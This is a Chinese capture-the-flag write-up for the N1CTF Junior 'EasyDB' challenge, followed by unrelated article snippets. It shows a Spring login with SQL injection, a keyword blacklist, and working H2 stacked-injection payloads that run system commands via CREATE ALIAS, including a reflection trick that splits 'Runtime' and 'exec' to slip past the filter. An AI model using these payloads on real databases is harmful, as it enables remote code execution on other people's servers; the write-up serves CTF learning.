当前位置: 首页 > news >正文

CTF-web:java-h2 堆叠注入rce -- N1ctf Junior EasyDB

代码存在sql注入

    // 处理登录表单的POST请求@PostMapping({"/login"})public String handleLogin(@RequestParam String username, @RequestParam String password, HttpSession session, Model model) throws SQLException {// 验证用户凭据if (this.userService.validateUser(username, password)) {session.setAttribute("username", username);  // 将用户名存储在会话中return "redirect:/";  // 验证成功,重定向到首页} else {model.addAttribute("error", "Invalid username or password");  // 添加错误消息到模型return "login";  // 返回登录视图}}
// 声明一个方法来验证用户的凭据
public boolean validateUser(String username, String password) throws SQLException {// 使用格式化字符串构建SQL查询语句String query = String.format("SELECT * FROM users WHERE username = '%s' AND password = '%s'", username, password);// 检查生成的查询是否安全,防止SQL注入if (!SecurityUtils.check(query)) {return false;  // 如果查询不安全,返回false} else {Throwable var8;  // 声明一个Throwable变量,用于异常处理// 使用try-with-resources语句自动管理Statement资源try (Statement stmt = this.connection.createStatement()) {// 执行SQL查询stmt.executeQuery(query);// 获取结果集ResultSet resultSet = stmt.getResultSet();Throwable var7 = null;  // 声明一个Throwable变量,用于捕获异常try {// 检查结果集是否有下一条记录(即用户是否存在)var8 = resultSet.next();} catch (Throwable var31) {var8 = var31;  // 捕获异常var7 = var31;  // 将异常赋值给var7以便后续处理throw var31;  // 重新抛出异常} finally {// 确保结果集在使用完后被关闭if (resultSet != null) {if (var7 != null) {  // 如果有异常,处理异常try {resultSet.close();  // 关闭结果集} catch (Throwable var30) {var7.addSuppressed(var30);  // 将异常添加到已捕获的异常中}} else {resultSet.close();  // 正常关闭结果集}}}} } 
}

SELECT * FROM users WHERE username = '%s' AND password = '%s'

// 定义一个名为SecurityUtils的公共类
public class SecurityUtils {// 使用HashSet存储不安全的SQL关键字,避免SQL注入攻击private static final HashSet<String> blackLists = new HashSet<>();// 默认构造函数public SecurityUtils() {}// 检查给定的SQL语句是否包含黑名单中的关键字public static boolean check(String sql) {// 遍历黑名单中的每一个关键字for (String keyword : blackLists) {// 将SQL语句转换为小写并检查是否包含黑名单关键字if (sql.toLowerCase().contains(keyword)) {return false; // 如果发现关键字,返回false,表示SQL不安全}}// 如果没有发现黑名单关键字,返回true,表示SQL是安全的return true;}
}
static {  blackLists.add("runtime");  blackLists.add("process");  blackLists.add("exec");  blackLists.add("shell");  blackLists.add("file");  blackLists.add("script");  blackLists.add("groovy");  
}

使用堆叠注入rec,其标准利用形式如下

CREATE ALIAS EXEC AS '
String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";
}';
CALL EXEC('command');

按如下方式绕过waf

1.将被过滤的字符串拆分
2.Class<?> 声明通用类型的 Class 对象,使用Class.forName动态加载类赋值
3.因为过滤了runtime,使用getMethodRuntime.getRuntime方法反射后调用,这样可以不使用Runtime.getRuntime().exec(cmd)

CREATE ALIAS evil AS $$
void jerry(String cmd) throws Exception {String R = "R" + "untime";Class<?> c = Class.forName("java.lang." + R);Object rt = c.getMethod("get" + R).invoke(null);//实例化c.getMethod("exe" + "c", String.class).invoke(rt, cmd);//rt.exec(cmd)
}
$$;
CALL evil('command');
  • $$...$$ 是一种用于定义 字符串常量 或 函数体 的 定界符(delimiter)。它允许你在字符串或函数体中包含引号、换行符和其他特殊字符,而无需对这些字符进行转义。
  • invoke 方法用于调用获取到的方法。它的第一个参数是方法的调用者对象,第二个及以后的参数是方法的参数。

参考

2025 N1CTF Junior Web 方向全解 | J1rrY’s Blog
JDBC-Attack 利用汇总 - Boogiepop Doesn’t Laugh

相关文章:

CTF-web:java-h2 堆叠注入rce -- N1ctf Junior EasyDB

代码存在sql注入 // 处理登录表单的POST请求PostMapping({"/login"})public String handleLogin(RequestParam String username, RequestParam String password, HttpSession session, Model model) throws SQLException {// 验证用户凭据if (this.userService.valid…...

【异或数列——博弈论】

题目 思路 异或和为0&#xff08;即每一位都有偶数个1&#xff09;&#xff1a;平局最高有效位只有唯一的1&#xff1a;先手必胜最高有效位有奇数个1&#xff0c;偶数个0&#xff1a;先手必胜 若先选1产生优势&#xff0c;则剩下偶数个1&#xff0c;偶数个0&#xff1a;对手选…...

2024 年 9 月青少年软编等考 C 语言三级真题解析

目录 T1. 爆气球思路分析T2. 乘法小宇宙思路分析T3. 有多少坑思路分析T4. 势均力敌思路分析T5. 买地攻略思路分析T1. 爆气球 爆气球对孩子们来说是很好玩的游戏。假设有 n n n 只气球被布置在一条直线上,游戏的目标很简单,就是爆掉尽可能多的气球。但是这里我们加一条特殊的…...

JavaScript设计模式 -- 外观模式

在实际开发中&#xff0c;往往会遇到多个子系统协同工作时&#xff0c;直接操作各个子系统不仅接口繁琐&#xff0c;还容易导致客户端与内部实现紧密耦合。**外观模式&#xff08;Facade Pattern&#xff09;**通过为多个子系统提供一个统一的高层接口&#xff0c;将复杂性隐藏…...

在 Vue 项目中使用 SQLite 数据库的基础应用

目录 一、环境准备二、数据库连接与操作1. 创建数据库连接2. 创建表3. 插入数据4. 查询数据5. 更新数据6. 删除数据 三、在 Vue 组件中使用 SQLite 一、环境准备 安装 Node.js 和 npm&#xff1a;确保已安装 Node.js 和 npm。 创建 Vue 项目&#xff1a;使用 Vue CLI 创建一个…...

《安富莱嵌入式周报》第350期:Google开源Pebble智能手表,开源模块化机器人平台,开源万用表,支持10GHz HRTIM的单片机,开源CNC控制器

周报汇总地址&#xff1a;嵌入式周报 - uCOS & uCGUI & emWin & embOS & TouchGFX & ThreadX - 硬汉嵌入式论坛 - Powered by Discuz! 视频版&#xff1a; https://www.bilibili.com/video/BV1YPKEeyEeM/ 《安富莱嵌入式周报》第350期&#xff1a;Google开…...

多线程基础面试题剖析

一、线程的创建方式有几种 创建线程的方式有两种&#xff0c;一种是继承Thread&#xff0c;一种是实现Runable 在这里推荐使用实现Runable接口&#xff0c;因为java是单继承的&#xff0c;一个类继承了Thread将无法继承其他的类&#xff0c;而java可以实现多个接口&#xff0…...

C++ Primer 函数重载

欢迎阅读我的 【CPrimer】专栏 专栏简介&#xff1a;本专栏主要面向C初学者&#xff0c;解释C的一些基本概念和基础语言特性&#xff0c;涉及C标准库的用法&#xff0c;面向对象特性&#xff0c;泛型特性高级用法。通过使用标准库中定义的抽象设施&#xff0c;使你更加适应高级…...

10bit VS 8bit 视频:色彩深度的较量,谁才是视觉盛宴的王者?

10bit 和 8bit 视频 10bit 视频和 8bit 视频的主要区别在于色彩深度和细节表现能力。10bit 视频具有更高的色彩深度和更丰富的细节表现,能够提供更平滑的色彩过渡和更真实的图像质量,但需要更多的存储空间和带宽。8bit 视频则在存储和传输方面更加高效,适合于对存储空间和带…...

从零开始-将小爱接入大模型

文章目录 前言一、学习教程二、docker安装二、项目下载和配置三、文件修改文件.env.exampledeepseek模型 注册gitee并获取密钥 文件.migpt.example.js连接小爱同学 三、运行项目创建目录启动docker容器 总结 前言 基于当前人工智能的发展&#xff0c;大模型使用越来越方便&…...

关于 IoT DC3 中设备(Device)的理解

在物联网系统中&#xff0c;设备&#xff08;Device&#xff09;是一个非常宽泛的概念&#xff0c;它可以指代任何能够接入系统并进行数据交互的实体。包括但不限于手机、电脑、服务器、网关、硬件设备甚至是某些软件程序等所有能接入到该平台的媒介。 内容 定义 目的 示例 …...

北斗导航 | 周跳探测算法(matlab源码)

===================================================== github:https://github.com/MichaelBeechan CSDN:https://blog.csdn.net/u011344545 ===================================================== 周跳 1. 高次差法2. 相位减伪距法3. TurboEdit算法(MW+GF组合)4. 多项…...

Centos搭建python环境

在 CentOS 上配置 Python 环境可以通过以下步骤完成&#xff1a; 1. 检查系统自带 Python 版本 CentOS 7/8 可能已经自带了 Python&#xff1a; python3 --version 如果没有&#xff0c;或者版本过低&#xff0c;可以手动安装。 2. 安装 Python&#xff08;推荐&#xff0…...

Python 字典思维导图

在本章中&#xff0c;你将学习能够将相关信息关联起来的Python字典。你将学习如何访问和修改字典中的信息。鉴于字典可存储的信息量几乎不受限制&#xff0c;因此我们会演示如何遍 历字典中的数据。另外&#xff0c;你还将学习存储字典的列表、存储列表的字典和存储字典的字典。…...

springboot与springcloud对应版本

Spring Boot 与 Spring Cloud Alibaba 版本对应关系 请根据您使用的 Spring Boot 版本&#xff0c;选择兼容的 Spring Cloud Alibaba 版本&#xff1a; Spring Boot Version Spring Cloud Alibaba Version Spring Cloud Version 3.0.2 2022.0.0.0 Spring Cloud 2022.0.0 3.0.2…...

verilog程序设计及SystemVerilog验证

1.Verilog测试程序设计基础 1.1Testbench及其结构 在仿真的时候Testbench用来产生测试激励给待验证设计( Design Under Verification, DUV)&#xff0c;或者称为待测设计(Design UnderTest, DUT) 。 测试程序的一般结构&#xff1a; Testbench是一个测试平台&#xff0c;信号…...

游戏引擎学习第104天

Z轴有点悬而未决 我们正在进行渲染器相关的工作。之前我们已经完成了法线贴图的代码&#xff0c;虽然基本完成&#xff0c;但还有一些与光照相关的工作待完成。目前&#xff0c;天空和地面部分的光照处理已经相对正常&#xff0c;但局部光源的处理还没有做好。 为了进行光照部…...

‌OpenAI GPT-4.5技术详解与未来展望

一、GPT-4.5的技术突破‌ OpenAI在人工智能领域的持续创新再次引领了技术潮流。近期,OpenAI内部已经成功实现了GPT-4.5的开发,这一版本相较于前代在多个方面实现了显著的技术突破‌。 GPT-4.5在算法优化和数据处理上进行了多项创新,使得模型在对自然语言的理解上,尤其是在…...

【科技革命】颠覆性力量与社会伦理的再平衡

目录 2025年科技革命&#xff1a;颠覆性力量与社会伦理的再平衡目录技术突破全景图认知智能的范式转移量子霸权实现路径生物编程技术革命能源结构重构工程 产业生态链重构医疗健康新范式教育系统智能进化金融基础设施变革制造范式革命 科技伦理与文明演进 2025年科技革命&#…...

好好说话:深度学习扫盲

大创项目是和目标检测算法YOLO相关的&#xff0c;浅浅了解了一些有关深度学习的知识。在这里根据本人的理解做一些梳理。 深度学习是什么&#xff1f; 之前经常听到AI&#xff0c;机器学习&#xff0c;深度学习这三个概念&#xff0c;但是对于三者的区别一直很模糊。 AI&…...

一款基于若依的wms系统

Wms-Ruoyi-仓库库存管理 若依wms是一套基于若依的wms仓库管理系统&#xff0c;支持lodop和网页打印入库单、出库单。毫无保留给个人及企业免费使用。 前端采用Vue、Element UI。后端采用Spring Boot、Spring Security、Redis & Jwt。权限认证使用Jwt&#xff0c;支持多终…...

【ISO 14229-1:2023 UDS诊断(会话控制0x10服务)测试用例CAPL代码全解析⑥】

ISO 14229-1:2023 UDS诊断【会话控制0x10服务】_TestCase06 作者&#xff1a;车端域控测试工程师 更新日期&#xff1a;2025年02月14日 关键词&#xff1a;UDS诊断、0x10服务、诊断会话控制、ECU测试、ISO 14229-1:2023 TC10-006测试用例 用例ID测试场景验证要点参考条款预期…...

img标签的title和alt

img标签的title和alt 显示上 title:鼠标移入到图片上时候显示的内容&#xff1b; alt:图片无法加载时候显示的内容; <div class"box"><div><!-- title --><h3>title</h3><img src"./image/poster.jpg" title"这是封…...

redis cluster测试

集群节点信息这时候停掉一个master 172.30.60.31 从集群信息集中我们可以看到172.30.60.31的slave是172.30.60.41&#xff0c;查看41的日志&#xff0c;发现他成为了新的master 这时候我们在将172.30.60.41也杀死&#xff0c;会发现集群异常了 尝试把172.30.60.31启动&#xff…...

harmonyOS的文件的增、删、读、写相关操作(fs/content)

注意: 操作harmonyOS的文件只能对app沙箱内的文件进行操作 牵扯到两个支持点: fs和content这两个API; 具体的操作方法看下图: 创建文件 //js 引入 import fs from "ohos.files.fs" import featureAbility from "ohos.ability.featureAbility"; // 上下…...

12. Function Call实践

本文主要讲解大模型的function call能力&#xff0c;包括使用国内外在线模型和本地模型&#xff0c;以及如何微调以增强大模型的function call能力。 回顾下大模型学习思路&#xff1a; 1. 环境准备 1.1 平台上【模型调试】中创建 2. 调用国内外大模型测试 2.1 调用GPT-4 代…...

随机生成多孔介质matlab程序

matlab生成随机分布纤维代码&#xff0c;用于后续模拟处理 资源文件列表 随机生成多孔介质matlab程序.pdf , 5821...

华为云kubernetes基于keda自动伸缩deployment副本(监听redis队列长度)

1 概述 KEDA&#xff08;Kubernetes-based Event-Driven Autoscaler&#xff0c;网址是https://keda.sh&#xff09;是在 Kubernetes 中事件驱动的弹性伸缩器&#xff0c;功能非常强大。不仅支持根据基础的CPU和内存指标进行伸缩&#xff0c;还支持根据各种消息队列中的长度、…...

是时候说再见了

说再见 2018 to 2025 2018&#xff1a;学习 2018年开始读研。师兄师姐们说可以写写CSDN博客&#xff0c;对找工作也有帮助。于是在12月4日&#xff0c;发布了自己的第一篇文章[翻译] 神经网络与深度学习 首页 - Index。当时还在学习各种基础知识&#xff0c;看到了这个英文文…...

数据结构与算法-栈与队列的应用递归表达式求值

参考学习&#xff1a;B站-逊哥带你学编程 栈与队列的应用 题1&#xff1a; 答案&#xff1a;B 题2&#xff1a; 答案&#xff1a;C 题3&#xff1a; 答案&#xff1a;D 题4&#xff1a; 答案&#xff1a;C 题5&#xff1a; 答案&#xff1a;B 题6&#xff1a; 答案&…...

vue3.x 的shallowReactive 与 shallowRef 详细解读

在 Vue 3.x 中&#xff0c;shallowReactive 和 shallowRef 是两个用于创建浅层响应式数据的 API。它们与 reactive 和 ref 类似&#xff0c;但在处理嵌套对象时的行为有所不同。以下是它们的详细解读和示例。 1. shallowReactive 作用 shallowReactive 创建一个浅层响应式对…...

前缀和(Prefix Sum)算法笔记C++

前缀和(Prefix Sum)算法介绍 前缀和是一种预处理技术, 用于快速计算数组中任意子区间的元素之和. 它通过一次遍历创建一个辅助数组来存储从数组起始位置到当前索引位置所有元素的累加和, 从而使得后续查询操作的时间复杂度降低至 O ( 1 ) O(1) O(1). 定义 对于给定的数组 n…...

负载测试工具有哪些?

Apache JMeter Apache JMeter 是一款开源的性能测试工具&#xff0c;主要用于对 Web 应用程序进行功能、负载和压力测试。JMeter 支持多种协议和技术&#xff0c;包括 HTTP, HTTPS, FTP 和 WebSocket 等。通过模拟大量并发用户访问来评估应用程序的表现1。 jmeter -n -t testp…...

ROS进阶:使用URDF和Xacro构建差速轮式机器人模型

前言 本篇文章介绍的是ROS高效进阶内容&#xff0c;使用URDF 语言&#xff08;xml格式&#xff09;做一个差速轮式机器人模型&#xff0c;并使用URDF的增强版xacro&#xff0c;对机器人模型文件进行二次优化。 差速轮式机器人&#xff1a;两轮差速底盘由两个动力轮位于底盘左…...

windows编译使用gtest

下载&#xff1a; Release v1.12.1 google/googletest GitHub 编译&#xff1a; 编译源码中的CMakeLists.txt&#xff1a; 编译后生成的目录是BUILD: *(编译之前需要安装cmake: ) 关注下面这两个目录&#xff1a; 在vs中打开&#xff1a; 配置属性&#xff1a; 点击编译&a…...

C++编程,#include <iostream>详解,以及using namespace std;作用

在C编程中&#xff0c;#include <iostream> 是用来包含输入/输出流头文件的预处理指令。它允许程序使用标准的输入/输出对象如 std::cout 和 std::cin&#xff0c;以便与标准输入和输出流进行交互。这一头文件是编写输入输出操作时必不可少的部分。 讲到这里&#xff0c…...

【愚公系列】《Python网络爬虫从入门到精通》008-正则表达式基础

标题详情作者简介愚公搬代码头衔华为云特约编辑,华为云云享专家,华为开发者专家,华为产品云测专家,CSDN博客专家,CSDN商业化专家,阿里云专家博主,阿里云签约作者,腾讯云优秀博主,腾讯云内容共创官,掘金优秀博主,亚马逊技领云博主,51CTO博客专家等。近期荣誉2022年度…...

Golang并发编程最佳实践:协程与通道

Golang并发编程最佳实践&#xff1a;协程与通道 本文旨在介绍Golang并发编程的最佳实践&#xff0c;重点讨论协程和通道的使用方法&#xff0c;以及相关的实际案例和代码示例。 一、Golang并发编程简介 又称Go语言&#xff09;是一种由Google开发的编程语言&#xff0c;旨在提供…...

neural_gcm模型进行气象预测教程

简介 NeuralGCM &#xff08;General circulation models&#xff09;是Google开发的一种新型的天气和气候模型&#xff0c;它结合了传统的物理建模与机器学习技术&#xff0c;相关论文于2024年发表在nature上。它既可以做短期的天气预报&#xff0c;也可以做长期的气候预测。…...

怎么让DeepSeek自动化写作文案

在数字化时代&#xff0c;内容创作已成为企业争夺用户注意力的核心竞争力。面对海量信息需求&#xff0c;企业往往面临内容创作效率低下、质量参差不齐、周期长等问题。如何用技术手段解决这些痛点&#xff0c;成为企业迫切需要破解的难题。今天&#xff0c;我们将以DeepSeek为…...

淘宝/天猫获得淘宝商品评论 API 返回值说明||API评论接口

item_review-获得淘宝商品评论 taobao.item_review 公共参数 名称类型必须描述keyString是调用key&#xff08;必须以GET方式拼接在URL中&#xff09;secretString是调用密钥api_nameString是API接口名称&#xff08;包括在请求地址中&#xff09;[item_search,item_get,ite…...

全面理解-c++11的引用折叠

在 C 中&#xff0c;引用折叠&#xff08;Reference Collapsing&#xff09; 是一组用于处理多重引用&#xff08;如 T& & 或 T&& &&&#xff09;的规则&#xff0c;主要出现在模板参数推导、auto 类型推导和 decltype 的上下文中。它是实现**通用引用…...

考研高数复习规范

前言 这里记录我的高数复习规范与规划&#xff0c;希望能给需要考研的同学一点启发 规范原因 高数的内容很多&#xff0c;关键的是&#xff1a;会做题、拿高分首先最重要的就是抓住概念。比如有界无界的概念&#xff0c;间断点的概念、极限的概念其次是做题过程中得到的方法…...

2025 docker可视化管理面板DPanel的安装

1.什么是 DPanel &#xff1f; DPanel 是一款 Docker 可视化管理面板&#xff0c;旨在简化 Docker 容器、镜像和文件的管理。它提供了一系列功能&#xff0c;使用户能够更轻松地管理和部署 Docker 环境。 软件特点&#xff1a; 可视化管理&#xff1a;提供直观的用户界面&#…...

「vue3-element-admin」Vue3 + TypeScript 项目整合 Animate.css 动画效果实战指南

&#x1f680; 作者主页&#xff1a; 有来技术 &#x1f525; 开源项目&#xff1a; youlai-mall ︱vue3-element-admin︱youlai-boot︱vue-uniapp-template &#x1f33a; 仓库主页&#xff1a; GitCode︱ Gitee ︱ Github &#x1f496; 欢迎点赞 &#x1f44d; 收藏 ⭐评论 …...

Python函数进阶250215

函数返回值进阶 函数返回的内容也是地址 def func01():data [1, 2, 3]# 执行到此步后&#xff0c;[1, 2, 3]这块内存会有一个引用计数器&#xff0c;且值为2&#xff0c;因为内部的data与外部的v1都指向这块空间return data v1 func01()# v1 point the address of data, if…...

VMware Workstation Pro 下载(无需注册账号)

VMware Workstation Pro 目前对个人用户完全免费。有两种下载方式&#xff0c;分别为 1、Broadcom 官网下载 需要注册账号&#xff0c;我懒得注册 2、VMware 更新服务器下载 如果不想注册账号&#xff0c;可以通过 VMware 更新服务器直接下载。访问以下链接&#xff1a; ht…...

USB2.03.0摄像头区分UVC相机在linux中的常用命令

这里是引用 一. USB2.0 & 3.0接口支持区分 1.1. 颜色判断 USB接口的颜色并不是判断版本的可靠标准&#xff0c;但根据行业常见规范分析如下&#xff1a; USB接口颜色与版本对照表&#xff1a; 接口颜色常见版本内部触点数量传输速度黑色USB2.04触点480 Mbps (60 MB/s)白…...

Linux入侵检查流程

1. 初步信息收集 1.1 系统信息 • 目的&#xff1a;了解当前系统的基本情况&#xff0c;包括操作系统版本、内核版本等。 • 命令&#xff1a; # 查看操作系统发行版信息 cat /etc/os-release # 查看内核版本 uname -r 1.2 网络信息 • 目的&#xff1a;查看网络连接状态、…...

(尚硅谷 Java 学习 B 站大学版)Day17 多态练习

Instanceof 关键字 一&#xff1a;引言 不能调用子类特有的方法、属性&#xff1b; 如何才能调用子类特有的属性和方法 向下转型&#xff1a;使用强制类型转换符 Man m1(Man) p2 注&#xff1a;其中p2 为 Person 类型 使用强转时&#xff0c;可能出现 ClassCastException …...